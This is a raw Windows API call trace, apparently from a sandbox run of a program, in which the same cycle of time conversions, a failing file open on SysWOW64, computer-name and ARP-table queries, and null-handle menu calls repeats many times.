	[0050.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.421] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.421] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.421] SetErrorMode (uMode=0x1) returned 0x1
	[0050.421] GetLogicalDrives () returned 0x4
	[0050.421] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.421] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30edd40
	[0050.421] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.421] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.421] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.421] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f6680
	[0050.421] GetIpNetTable (in: IpNetTable=0x30f6680, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f6680, SizePointer=0xf3d4ac) returned 0x0
	[0050.422] AppendMenuW (hMenu=0x0, uFlags=0x805d845c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.422] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.422] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.422] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.422] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.422] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.422] SetErrorMode (uMode=0x1) returned 0x1
	[0050.422] GetLogicalDrives () returned 0x4
	[0050.423] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.423] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ee548
	[0050.423] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.423] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.423] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.423] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f4cb8
	[0050.423] GetIpNetTable (in: IpNetTable=0x30f4cb8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f4cb8, SizePointer=0xf3d4ac) returned 0x0
	[0050.423] AppendMenuW (hMenu=0x0, uFlags=0x805e5ee8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.423] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.423] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.424] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.424] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.424] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.424] SetErrorMode (uMode=0x1) returned 0x1
	[0050.424] GetLogicalDrives () returned 0x4
	[0050.424] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.424] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e7ce0
	[0050.424] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.424] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.424] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.424] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5398
	[0050.424] GetIpNetTable (in: IpNetTable=0x30f5398, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5398, SizePointer=0xf3d4ac) returned 0x0
	[0050.425] AppendMenuW (hMenu=0x0, uFlags=0x805f609c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.425] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.425] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.425] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.425] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.425] SetErrorMode (uMode=0x1) returned 0x1
	[0050.425] GetLogicalDrives () returned 0x4
	[0050.425] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.425] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e6cd0
	[0050.425] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.425] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.425] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.425] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5de8
	[0050.425] GetIpNetTable (in: IpNetTable=0x30f5de8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5de8, SizePointer=0xf3d4ac) returned 0x0
	[0050.426] AppendMenuW (hMenu=0x0, uFlags=0x80603b28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.426] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.426] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.426] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.426] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.426] SetErrorMode (uMode=0x1) returned 0x1
	[0050.426] GetLogicalDrives () returned 0x4
	[0050.426] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.426] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30eed50
	[0050.426] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.427] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.427] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.427] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5fa0
	[0050.427] GetIpNetTable (in: IpNetTable=0x30f5fa0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5fa0, SizePointer=0xf3d4ac) returned 0x0
	[0050.427] AppendMenuW (hMenu=0x0, uFlags=0x80613cdc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.427] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.427] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.427] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.428] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.428] SetErrorMode (uMode=0x1) returned 0x1
	[0050.428] GetLogicalDrives () returned 0x4
	[0050.428] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.428] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e74d8
	[0050.428] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.428] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.428] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.428] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5550
	[0050.428] GetIpNetTable (in: IpNetTable=0x30f5550, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5550, SizePointer=0xf3d4ac) returned 0x0
	[0050.429] AppendMenuW (hMenu=0x0, uFlags=0x80621768, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.429] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.429] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.429] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.429] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.429] SetErrorMode (uMode=0x1) returned 0x1
	[0050.429] GetLogicalDrives () returned 0x4
	[0050.429] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.429] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30f0d70
	[0050.429] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.429] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.429] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.429] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5c30
	[0050.429] GetIpNetTable (in: IpNetTable=0x30f5c30, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5c30, SizePointer=0xf3d4ac) returned 0x0
	[0050.430] AppendMenuW (hMenu=0x0, uFlags=0x8063191c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.430] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.430] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.430] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.430] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.430] SetErrorMode (uMode=0x1) returned 0x1
	[0050.430] GetLogicalDrives () returned 0x4
	[0050.430] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.430] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30f1578
	[0050.430] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.430] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.430] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.431] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f7030
	[0050.431] GetIpNetTable (in: IpNetTable=0x30f7030, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f7030, SizePointer=0xf3d4ac) returned 0x0
	[0050.431] AppendMenuW (hMenu=0x0, uFlags=0x8063f3a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.431] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.431] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.432] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.432] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.432] SetErrorMode (uMode=0x1) returned 0x1
	[0050.432] GetLogicalDrives () returned 0x4
	[0050.432] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.432] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ef558
	[0050.432] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.432] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.432] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.432] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f6cc0
	[0050.432] GetIpNetTable (in: IpNetTable=0x30f6cc0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f6cc0, SizePointer=0xf3d4ac) returned 0x0
	[0050.433] AppendMenuW (hMenu=0x0, uFlags=0x8064f55c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.433] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.433] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.433] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.433] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.433] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.433] SetErrorMode (uMode=0x1) returned 0x1
	[0050.433] GetLogicalDrives () returned 0x4
	[0050.433] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.433] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30f0568
	[0050.433] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.433] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.433] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.433] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f7df0
	[0050.433] GetIpNetTable (in: IpNetTable=0x30f7df0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f7df0, SizePointer=0xf3d4ac) returned 0x0
	[0050.434] AppendMenuW (hMenu=0x0, uFlags=0x8065cfe8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.434] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.434] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.434] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.434] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.434] SetErrorMode (uMode=0x1) returned 0x1
	[0050.434] GetLogicalDrives () returned 0x4
	[0050.434] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.434] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30f1d80
	[0050.434] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.435] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.435] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.435] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f7fa8
	[0050.435] GetIpNetTable (in: IpNetTable=0x30f7fa8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f7fa8, SizePointer=0xf3d4ac) returned 0x0
	[0050.435] AppendMenuW (hMenu=0x0, uFlags=0x8066d19c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.435] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.435] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.435] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.436] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.436] SetErrorMode (uMode=0x1) returned 0x1
	[0050.436] GetLogicalDrives () returned 0x4
	[0050.436] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.436] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30f2588
	[0050.436] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.436] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.436] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.436] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f8160
	[0050.436] GetIpNetTable (in: IpNetTable=0x30f8160, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f8160, SizePointer=0xf3d4ac) returned 0x0
	[0050.437] AppendMenuW (hMenu=0x0, uFlags=0x8067ac28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.437] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.437] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.437] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.437] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.437] SetErrorMode (uMode=0x1) returned 0x1
	[0050.437] GetLogicalDrives () returned 0x4
	[0050.437] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.437] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30efd60
	[0050.437] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.437] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.437] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.437] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f7710
	[0050.437] GetIpNetTable (in: IpNetTable=0x30f7710, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f7710, SizePointer=0xf3d4ac) returned 0x0
	[0050.438] AppendMenuW (hMenu=0x0, uFlags=0x8067addc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.438] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.438] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.438] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.438] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.438] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.438] SetErrorMode (uMode=0x1) returned 0x1
